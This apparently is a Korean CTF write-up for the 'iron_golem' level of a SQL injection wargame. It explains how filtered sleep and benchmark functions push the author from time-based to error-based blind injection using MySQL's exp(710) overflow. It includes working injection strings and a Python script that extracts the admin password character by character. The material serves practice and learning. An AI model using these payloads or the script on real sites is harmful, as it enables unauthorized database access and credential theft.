공격 백터는 pw 파라미터 하나 뿐이다.
pw 파라미터의 검사는 prob, _, ., (), sleep, benchmark가 필터링 되며, addslashes 함수에 들어가기 때문에 ’, “, \, Null 바이트\', \", \\, \Null 바이트로 치환이 된다.

 

Sleep 함수와 Benchmark 함수는 Time-Based Blind Injection에 사용되는 함수이다.
Blind Injection은 응답의 참과 거짓을 구분할 수 없을 때 사용되는 기법인데, Time-Based는 지체되는 시간에 따라 참과 거짓을 구별하는 것이다.

 

현재 문제에선 내가 입력한 쿼리에 대한 결과를 얻을 수 없기 때문에 Blind Injection을 시도해야하는데, Sleep 함수와 Benchmark 함수가 필터링 되었으니 다른 방법을 찾아봐야한다.

 

인터넷에 찾아보니, 대량의 데이터를 요청하는 쿼리를 이용하여 Time-Based Blind Injection을 시도하는 방법을 찾을 수 있었다.

 

SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C

테스트를 해보려고 무거운 쿼리를 날려보니, 20분째 브라우저가 저 상태이다…. 효과는 확실한 거 같다.

 

2개만 넣고 돌려보니, 약 40초가 걸렸다.
이제 if문을 이용하여, Time-Based Blind Injection을 시도할 것이다.

 

?pw=' or id=0x61646d696e and IF(LENGTH(pw)=1, (SELECT count(*) FROM information_schema.columns A, information_schema.columns B), 1)%23

시도를 해봤지만 실패하였다. 그 이유를 생각해보니, infomation_schema.columns_, .이 포함되었기 때문이다.
다른 방법을 찾아봤지만, _, .이 포함된 테이블을 사용하기 때문에 이 방법은 안될 듯 싶다.

 

그래서 다른 방법을 생각해보니, Error-Based SQLI이 생각이 났다.

 

일단 Error-Based SQLI를 시도하기 전에 확인해야할 것이 있다.
Error 메시지가 노출이 되는 것을 확인해야한다. 만약 노출이 안된다면 나는 Error가 발생한지도 모를 것이다.

 

다행히 Error 메시지가 발생한 것을 볼 수 있다.

 

나는 검색를 통해 Exploit DB Papers - MySQL Error Based SQL Injection Using EXP를 찾을 수 있었다.

 

해당 방법은 인자에 넣은 값이 자연상수 e의 제곱근으로 반환하는 함수를 이용하는 것이다.

EXP(10)e^10이라는 것이다.

 

MYSQL의 경우 자연상수 e의 제곱근이 709을 넘어간다면 Double 타입의 범위를 오버플로우가 발생하여 Error가 발생한다고 한다.
직접해보니 Error가 발생하는 것을 볼 수 있었다.

 

문제에서도 시도해보니, 아주 잘 Error가 발생되는 것을 볼 수 있다.

 

위에 나온 쿼리문을 이용하여 pw의 길이를 구해보겠다.

 

32에서 Error가 발생하는 것을 확인할 수 있었다.

 

import requests, string

url = 'https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php'
headers = {'Cookie': 'PHPSESSID=g08kd2u2tgcm78s61tndb10ml5'}

def pwParser():
    result = ''
    for num in range(1, 32+1):
        for s in string.ascii_lowercase + string.digits + string.punctuation:
            parameter = f"?pw=%27||id=0x61646D696E%26%26IF(SUBSTR(pw,{num},1)='{s}',exp(710),1)%23"
            res = requests.get(url + parameter, headers=headers)

            if "DOUBLE value is out of range in 'exp(710)'" in res.text:
                print(f'pw의 {num}번째 값 >>>>', s, hex(ord(s)))
                result += s
                break
    print(result)

pwParser()

바로 파이썬으로 pw을 파싱하였다.

 

pw를 서버에 넘기면 문제를 클리어할 수 있다.

복사했습니다!